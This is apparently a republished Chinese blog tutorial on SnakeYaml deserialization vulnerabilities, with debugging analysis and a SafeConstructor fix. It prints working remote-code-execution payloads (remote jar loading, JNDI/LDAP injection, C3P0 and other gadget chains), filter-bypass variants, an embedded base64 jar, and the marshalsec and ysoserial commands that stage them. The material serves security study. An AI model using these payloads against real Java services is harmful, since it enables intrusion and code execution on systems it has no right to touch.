SnakeYaml反序列化漏洞
2023-9-6 02:19:1 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

YAML 基本语法

YAML,YAML 是"YAML Ain’t a Markup Language"(YAML不是一种标记语言)的递归缩写, 是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。

YAML的语法和其他高级语言类似, 并且可以简单表达清单、散列表,标量等资料形态。它使用空白符号缩进和大量依赖外观的特色, 特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如: 许多电子邮件标题格式和YAML非常接近).

格式

YAML 具体使用,首先YAML中允许表示三种格式,分别是:常量值、对象和数组。例如:

# 即表示url属性值;url: http://www.yiibai.com
# 即表示server.host属性的值;server: host: http://www.yiibai.com
# 数组,即表示server为[a,b,c]server: - 120.168.0.21 - 120.168.0.22 - 120.168.0.23
# 常量pi: 3.14 # 定义一个数值3.14hasChild: true # 定义一个boolean值name: '你好YAML' # 定义一个字符串

注释

properties文件格式相同,YAML使用#作为注释开始且只有行注释.

YAML基本格式要求:

  • 大小敏感.

  • 利用缩进来表示层级关系.

  • 缩进不能使用 TAB 只能使用空格且对空格个数没有要求, 只需要相同层级左对齐即可(一般2个或4个空格).

对象

  • 对象使用冒号代表, 格式为 key: value 需要注意在冒号后加上一个空格.

  • 可以使用缩进来表示层级关系.

key:    demo1: val1    demo2: val2
  • 较为复杂的对象格式, 可以使用问号加一个空格代表一个复杂的 key , 配合一个冒号加一个空格代表一个值value.

数组

  • 使用一个短横线加一个空格代表一个数组项.

demo:    - val1    - val2
或者
- - val1 - val2 # [[val1, val2]]
  • 相对复杂的写法, 表示是 companies 属性是一个数组, 每一个数组元素又是由id, name, price三个属性构成; 数组也可以使用流式(flow)的方式表示.

companies:    -        id: 1        name: company1        price: 200W    -        id: 2        name: company2        price: 500W

常量

  • YAML 中提供了多种常量结构, 包括: 整数, 浮点数, 字符串, NULL, 日期, 布尔, 时间.

boolean:     - TRUE  #true,True都可以    - FALSE  #false,False都可以
float: - 3.14 - 6.8523015e+5 #可以使用科学计数法
int: - 123 - 0b1010_0111_0100_1010_1110 #二进制表示
null: nodeName: 'node' parent: ~ #使用~表示null
string: - 哈哈 - 'Hello world' #可以使用双引号或者单引号包裹特殊字符 - newline newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date: - 2018-07-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: - 2018-07-17T19:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

SnakeYaml 简介

Snakeyaml 包主要用来解析 yaml 格式的内容, yaml 语言比普通的 xml properties 等配置文件的可读性更高,像是 Spring 系列就支持 yaml 的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

Yaml语法参考:https://www.yiibai.com/yaml

Spring配置文件经常遇到。

推荐一个yml文件转yaml字符串的地址,网上部分POC是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter

转换流程图

SnakeYaml 使用

环境搭建

Maven项目中的pom.xml文件添加依赖:

<dependency>    <groupId>org.yaml</groupId>    <artifactId>snakeyaml</artifactId>    <version>1.27</version></dependency>

常用方法

String    dump(Object data)将Java对象序列化为YAML字符串.
void dump(Object data, Writer output)将Java对象序列化为YAML流.
String dumpAll(Iterator<? extends Object> data)将一系列Java对象序列化为YAML字符串.
void dumpAll(Iterator<? extends Object> data, Writer output)将一系列Java对象序列化为YAML流.
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)将Java对象序列化为YAML字符串.
String dumpAsMap(Object data)将Java对象序列化为YAML字符串.
<T> T load(InputStream io)解析流中唯一的YAML文档, 并生成相应的Java对象.
<T> T load(Reader io)解析流中唯一的YAML文档, 并生成相应的Java对象.
<T> T load(String yaml)解析字符串中唯一的YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(InputStream yaml)解析流中的所有YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(Reader yaml)解析字符串中的所有YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(String yaml)解析字符串中的所有YAML文档, 并生成相应的Java对象.

序列化与反序列化

主要关注序列化与反序列化

SnakeYaml提供了Yaml.dump()Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;

  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化

package org.example;
import org.yaml.snakeyaml.Yaml;
class User { public String name;
public void setName(String name) { this.name = name; }
public String getName() { return name; }}
public class App { public static void main( String[] args ){ User user = new User(); user.setName("xiaobei"); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); }}

这里 !! 用于强制类型转化,!!org.example.User 是将该对象转为org.example.User , 如果没有 !! 则就是个 key 为字符串的 Map ,其实这个和Fastjson@type有着异曲同工之妙,用于指定反序列化的全类名.

反序列化

再来一段反序列化代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法

User.java

package org.example;
public class User {
String name; int age;
public User() { System.out.println("User构造函数"); }
public String getName() { System.out.println("User.getName"); return name; }
public void setName(String name) { System.out.println("User.setName"); this.name = name; }
public String getAge() { System.out.println("User.getAge"); return name; }
public void setAge(String name) { System.out.println("User.setAge"); this.name = name; }}

App.java

package org.example;
import org.yaml.snakeyaml.Yaml;

public class App { public static void main( String[] args ){ Deserialize(); }
public static void Deserialize(){ String s = "!!org.example.User2 {name: xiaobei, age: 18}"; Yaml yaml = new Yaml(); User user = yaml.load(s);
}}

反序列化过程中会触发setXX方法构造方法注意:在反序列化时候必须确保被反序列化对象的类型修饰符为 public ,否则会反序列化爆异常。

Java SPI 机制

简介

Java SPI机制是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启动框架扩展和替换组件。

常见的SPIJDBCSpringSpring Boot相关starter组件、DubboJNDI日志接口等.

SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的接口,它可以用来启用框架扩展和替换组件。SPI的作用就是为这些被扩展的API寻找服务实现。

  • API (Application Programming Interface)在大多数情况下,都是实现方制定接口并完成对接口的实现,调用方仅仅依赖接口调用,且无权选择不同实现。从使用人员上来说,API 直接被应用开发人员使用。

  • SPI (Service Provider Interface)是调用方来制定接口规范,提供给外部来实现,调用方在调用时则选择自己需要的外部实现。从使用人员上来说,SPI 被框架扩展人员使用。

也就是说,SPI是一种服务发现机制,它是通过在CLASSPATH路径下的META-INF/services文件夹查找文件,然后自动加载文件里所定义的类,相当于动态的为某个接口(API)寻找服务实现;也就是说,我们可以通过在META-INF/services下创建一个以服务接口命名的文件,这个文件里面的内容就是这个接口的具体实现类的完整类名,在加载这个接口的时候就会实例化这里面写上的那个类名。

使用介绍

  • 当服务提供者提供了接口的一种具体实现后, 在jar包的META-INF/services目录下创建一个以"包名 + 接口名"为命名的文件,内容为实现该接口的类的名称.

  • 接口实现类所在的jar包放在主程序的classpath中.

  • 主程序通过java.util.ServiceLoder动态装载实现模块,通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM.

实现原理

程序会通过java.util.ServiceLoader动态装载实现模块,在META-INF/services目录下的配置文件中寻找实现类的类名,再通过Class.forName加载进来,再通过newInstance()来创建对象,并且存到缓存和列表里面。

DataSoure(服务接口)

package MySPI;
public interface DataSource { void Driver();}

Mysql服务提供者

package MySPI;
public class Mysql implements DataSource{ @Override public void Driver() { System.out.println("This is Mysql DataSource"); }}

Oracle服务提供者

package MySPI;
public class Oracle implements DataSource{ @Override public void Driver() { System.out.println("This is Oracle DataSource"); }}

Mssql服务提供者

package MySPI;
public class Mssql implements DataSource{ @Override public void Driver() { System.out.println("This is Mssql DataSource"); }}

SPIUsage(模拟使用者)

package MySPI;
import java.util.Iterator;import java.util.ServiceLoader;
public class SPIUseage { public static void main(String[] args) { ServiceLoader<DataSource> load = ServiceLoader.load(DataSource.class); Iterator<DataSource> iterator = load.iterator(); while(iterator.hasNext()){ iterator.next().Driver(); } }}

服务列表文件

需要注意的是这里由于是Maven项目,故我们的META-INF以及serivces文件夹还有服务列表文件都是放到resources目录下。

测试使用

原理分析

跟进 ServiceLoad.load(Class service) 方法, 其先创建一个 ClassLoader ,接着继续调用 ServiceLoad.load(Class service, ClassLoader loader) .

接着创建一个 ServiceLoader 对象

在创建 ServiceLoader 对象时候会调用 reload 方法,在 reload 方法会创建一个 LazyIterator 的实例对象.

LazyIterator 对象中有两个参数,分别是:

  • service: 为要扫描的配置文件名.

  • loader: 为当前线程的 ClassLoader .

返回一个 LazyIterator 的实例,如其名字一样,这是一个延迟加载的迭代器,然后返回到主函数我们进行迭代。 

在遍历对象前我们会先通过hasNext方法判断是否存在  

跟入java.util.ServiceLoader.LazyIterator#hasNext方法  

这里的java.util.ServiceLoader#parse方法完成服务提供者的解析

可以看到实际上就是解析每行获得的服务提供者。

下面我们看一下实际调用时候的流程   

其实就是读取 META-INF/services/包名.接口名 文件,然后遍历文件中每一个实现了服务接口的服务提供者类名,通过反射创建实例对象,并存到服务提供者列表里面。流程下来我们知道了如果 load 可控加载恶意的接口实现类。然后控制 Jar 包中的 META-INF/services 目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。

RCE Demo

如果服务提供者的接口中存在RCE,则我们跌倒调用的时候会导致RCE触发。

Snakeyaml的反序列化方式

无构造方法和setter方法

无构造方法和setter方法情况下snakeyaml将使用反射的方式自动赋值。

package com.SnakeYamlSec;
public class ModelA {public int a;public int b;}

使用如下方法反序列化

Yaml yaml = new Yaml();ModelA a = (ModelA) yaml.load("!!com.SnakeYamlSec.ModelA {a: 5, b: 0}") ;System.out.println(yaml.dump(a));

将反序列化成功。

存在构造方法

package com.SnakeYamlSec;
public class ModelB { public int a; public int b;
public ModelB(int a,int b){ this.a = a; this.b = b; }
}

使用如下方式反序列化

ModelB b = (ModelB) yaml.load("!!com.SnakeYamlSec.ModelB [5 , 0 ]") ;System.out.println(yaml.dump(b));

这里的[ ]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。

需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)。

存在setter方法

package com.SnakeYamlSec;
public class ModelC { public int a;
public void setInput(int a){ this.a = a; }

}
ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;System.out.println(yaml.dump(c));

使用此方式在反序列化过程中会调用setter方法,其YAML写法和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,后面值就是传入setInput的参数就可以调用,其实Java中很多组件中都会存在类似操作,即判断目标类的相关属性是否存在setter方法,如果存在优先考虑使用setter方法

到此为止,意味着snakeyaml可以利用fastjsonJackson的所有利用链(反之不一定行),并且还没有autotype的限制。

ScriptEngineManager反序列化利用

攻击复现

网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的。该项目中执行的命令在Windows下不适用,我们需要进行需改,比如加一段弹计算器的代码

编译打包

之后在该目录开一个web服务

更改poc

!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]  ]]]

收到HTTP请求并成功弹出计算器

调试分析

YAML解析部分

下面调试分析一下整个流程,在yaml.load(s)处下断点

首先通过 StringReader 处理我们传入的字符串,PoC存储在StreamReaderthis.stream字段值里。

上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)方法中,该方法内逻辑如下

首先会对我们传入的payload进行处理,封装成Composer对象。

这里实际上还有一个细节点,那就是new ParserImpl的操作

这里注意 !! -> tag:yaml.org,2002: 后续也会对我们传入的 payload 进行字符串替换的操作。

之后调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内,跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识

这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉 !! 的情况下可以通过这种 tag 形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。

public static final String PREFIX = "tag:yaml.org,2002:";public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");public static final Tag SET = new Tag("tag:yaml.org,2002:set");public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");public static final Tag INT = new Tag("tag:yaml.org,2002:int");public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");public static final Tag NULL = new Tag("tag:yaml.org,2002:null");public static final Tag STR = new Tag("tag:yaml.org,2002:str");public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

tag 具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()方法中。

继续回到 loadFromReader 跟进到constructor.getSingleData

具体的处理逻辑比较复杂,调试起来也比较费劲,而且它是一位一位进行处理,所以说这里我就把具体的处理过程跳过了,简单放张截图

然后调用 constructDocument ,跟进 constructDocument , 会调用constructObject来获取一个Object对象

跟进该方法, 进一步调用 constructObjectNoCheck .

跟进 constructObjectNoCheck 方法.

接着跟进construct.construct方法

这里会调用 this.getConstructor

这里getConstructor方法所做的事情就是获取类的构造方法

跟进去发现继续调用 getClassForNode ,在该方法中获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForNamename进行传入获取clclass对象

跟进 getClassForName , 在这里使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现.

接着回到上面的 construct 处继续分析

这里调用完 getContructor 方法后将调用该返回对象的 construct 方法,继续跟进

constructor 方法逻辑如上图所示,注意这里 Constructor.this.newInstance 方法调用

远程恶意对象创建

newInstance 方法中会获取 node 的类型(这里就是我们自定义类型),然后通过反射获取该类的构造方法,然后设置访问权限并提供构造方法创建实例对象,底层使用的是Java反射机制,这里直接看反射调用的方法public javax.script.ScriptEngineManager(java.lang.ClassLoader)

这里调用了return getServiceLoader(loader);,接着就是ServiceLoader.load(),对我们自定义的服务(SPI)加载器进行初始化,可以看到这部分就是SPI机制的实现

这时候我们再看Github下载的Payload项目,可以发现这个项目实际上就是一个实现了ScriptEngineFactory接口的服务提供者,前面分析过,在next方法的时候会解析服务列表文件并创建服务提供者对象实例

回到javax.script.ScriptEngineManager#initEngines方法继续分析,在前面SPI机制中我们分析知道了在next的时候会进行反射加载服务提供者,我们只需要在此处下断即可

最后有一个细节点那就是真正发起请求这个Payload Jar的操作实际上是在java.util.ServiceLoader.LazyIterator#hasNextService方法中的parse(service, configs.nextElement());调用中进行的,此时的loader是一个UrlClassLoader,前面分析SPI机制流程的时候有说明在parse方法中才会进行服务列表文件的读取解析,也就是发生请求的地方

总结

整个调试下来感觉有点类似于在调 Fastjson ,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tagnodetype这些,以及SnakeYaml内部对于 !! 去转换为tag这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射构造对象。

在构造时候会触发该类的 构造方法 set系列方法 ,所以,通常我们将 命令执行代码 写在构造函数内。

如果是利用ScriptEngineManager手法加载远程JAR的话流程就是分别获取ScriptEngineManagerURLClassLoaderURLclass对象,之后在construct方法内最终分别实例化了URLURLClassLoaderScriptEngineManager来造成远程代码执行。

漏洞修复

这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

package Snake;import org.yaml.snakeyaml.Yaml;import org.yaml.snakeyaml.constructor.SafeConstructor;public class snaketest {    public static void main(String[] args) {        String context = "!!javax.script.ScriptEngineManager [\n" +                "  !!java.net.URLClassLoader [[\n" +                "    !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +                "  ]]\n" +                "]";        Yaml yaml = new Yaml(new SafeConstructor());        yaml.load(context);    }}

JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}

JNDI注入

首先本地生成恶意字节码并监听生成远程恶意类地址

使用marshalsec创建ldap服务引用远程恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 9999

POC

package com.yamlAttack;
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlGadgets{ public static void main( String[] args ){ Yaml yaml=new Yaml(); yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}"); }}

原理分析

这条反序列化链的原理和Fastjson中的JdbcRowSetImpl链基本上一模一样,都是因为反序列化还原会调用对象setter方法,这里反序列化调用setAutoCommit方法进而执行connect操作接着实现JNDI注入。

绕过!!被过滤

使用等价字符替换

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [    !!java.net.URLClassLoader [[        !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]    ]]]

import org.yaml.snakeyaml.Yaml;
public class ByPass { public static void main(String[] args) { Yaml yaml=new Yaml(); String payload="!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" + " ]]\n" + "]"; yaml.load(payload); }}

自定义Tag前缀

%TAG !      tag:yaml.org,2002:---!javax.script.ScriptEngineManager [    !!java.net.URLClassLoader [[        !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]    ]]]// 记得不要漏了---

import org.yaml.snakeyaml.Yaml;
public class ByPass { public static void main(String[] args) { Yaml yaml=new Yaml(); // 定义!代表tag:yaml.org,2002: String payload="%TAG ! tag:yaml.org,2002:\n"+ "---\n"+ "!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" + " ]]\n" + "]"; yaml.load(payload); }}

参考

https://yaml.org/spec/1.1/#id858600

不出网情况

C3P0链

Fastjson中可以用C3P0.WrapperConnectionPoolDataSourceHEX序列化字节码进而实现本地调用,snakeyaml同理。

// CommonsCollections5为反序列化链,具体情况视目标环境而定java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt

将字节码文件转为16进制,传入payload中,即可进行恶意字节码加载

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSourceuserOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'

POC

public class SnakeYaml {    public static void main(String[] args) {        String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +                "userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'";        Yaml yaml = new Yaml();        yaml.load(payload);    }}

本地写入Jar实现加载Payload

其实snakeyamlfastjson基本上差不多,只是序列化数据表现形式存在区别,不过相关特性高度相似,所以fastjson中大部分利用链都可以转化为snakeyaml形式

{  "@type": "java.lang.AutoCloseable",  "@type": "sun.rmi.server.MarshalOutputStream",  "out": {    "@type": "java.util.zip.InflaterOutputStream",    "out": {      "@type": "java.io.FileOutputStream",      "file": "dst",      "append": "false"    },    "infl": {      "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="    },    "bufLen": 1048576  },  "protocolVersion": 1}

Payload

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater  { input: !!binary base64 },1048576]]

filepath是写入路径,base64是我们要写入文件的base64编码

package snakeYaml;
import org.yaml.snakeyaml.Yaml;
public class SnakeYaml { public static void main(String[] args) { String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); }}

写入本地之后就可以通过ScriptEngineManager方式进行本地读取了

public class SnakeYaml {    public static void main(String[] args) {        String payload = "!!javax.script.ScriptEngineManager [\n" +                "  !!java.net.URLClassLoader [[\n" +                "    !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +                "  ]]\n" +                "]";        Yaml yaml = new Yaml();        yaml.load(payload);    }}

整体思路其实就是一套组合拳,核心利用链还是前面的ScriptEngineManager

Other Gadgets

以下利用链来自于Sentiment师傅文章。

Spring PropertyPathFactoryBean

依赖

<dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-beans</artifactId>    <version>5.3.23</version></dependency><dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-context</artifactId>    <version>5.3.23</version></dependency>

POC

public static void main(String[] args) throws Error ,Exception{    String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"Exec\", \"http://localhost:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";    Yaml yaml = new Yaml();    yaml.load(poc);}

Apache Commons Configuration

依赖

<dependency>    <groupId>commons-configuration</groupId>    <artifactId>commons-configuration</artifactId>    <version>1.10</version></dependency>

POC

public static void main(String[] args) throws Error ,Exception{    String poc = "\n" +            "    ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://localhost:9999/Execs\"]]";    Yaml yaml = new Yaml();    yaml.load(poc);}

C3P0 JndiRefForwardingDataSource

public static void main(String[] args) throws Error ,Exception{        String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +            "  jndiName: \"ldap://localhost:9999/Exec\"\n" +            "  loginTimeout: 0";    Yaml yaml = new Yaml();    yaml.load(poc);}

Resource

依赖

<dependency>    <groupId>org.eclipse.jetty</groupId>    <artifactId>jetty-jndi</artifactId>    <version>9.4.8.v20171121</version></dependency><dependency>    <groupId>org.eclipse.jetty</groupId>    <artifactId>jetty-plus</artifactId>    <version>9.4.8.v20171121</version></dependency><dependency>    <groupId>org.eclipse.jetty</groupId>    <artifactId>jetty-util</artifactId>    <version>9.4.8.v20171121</version></dependency>

POC

public static void main(String[] args) throws Error ,Exception{    String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";    Yaml yaml = new Yaml();    yaml.load(poc);}

其它可能切入点

Context接口子类DataSource接口子类javax.naming.spi.ObjectFactory子类
com.sun.jndi.ldap.LdapReferralContext#LdapReferralContextcom.sun.jndi.ldap.LdapCtx#LdapCtx(java.lang.String, java.lang.String, int, java.util.Hashtable<?,?>, boolean)javax.naming.ldap.InitialLdapContext#InitialLdapContext(java.util.Hashtable<?,?>, javax.naming.ldap.Control[])com.sun.jndi.cosnaming.CNCtx#CNCtx(java.util.Hashtable<?,?>)com.sun.jndi.rmi.registry.RegistryContext#RegistryContext(java.lang.String, int, java.util.Hashtable<?,?>)

参考

总结使用SnakeYAML解析与序列化YAML相关__小鱼塘的博客-CSDN博客_snakeyaml用法

Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园

Java SnakeYaml反序列化漏洞 | s1mple

Java SnakeYaml反序列化学习 - R0ser1 - 博客园

Java常用机制 - SPI机制详解 | Java 全栈知识体系

Java安全之SnakeYaml反序列化分析 - 跳跳糖

Java SnakeYaml反序列化 · BlBana's BlackHouse

SnakeYaml反序列化及不出网利用

Java安全之SnakeYaml反序列化分析

Java-SnakeYaml反序列化漏洞

理解的Java中SPI机制


文章来源: https://mp.weixin.qq.com/s?__biz=Mzk0ODUxNzgyOQ==&mid=2247484038&idx=1&sn=e27947ee4f359e33ad45fbea06c555fd&chksm=c3672c2cf410a53a9fd863d46340d69e09680c98daf8066f193d3ba979823a2fde879e84a9ee&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh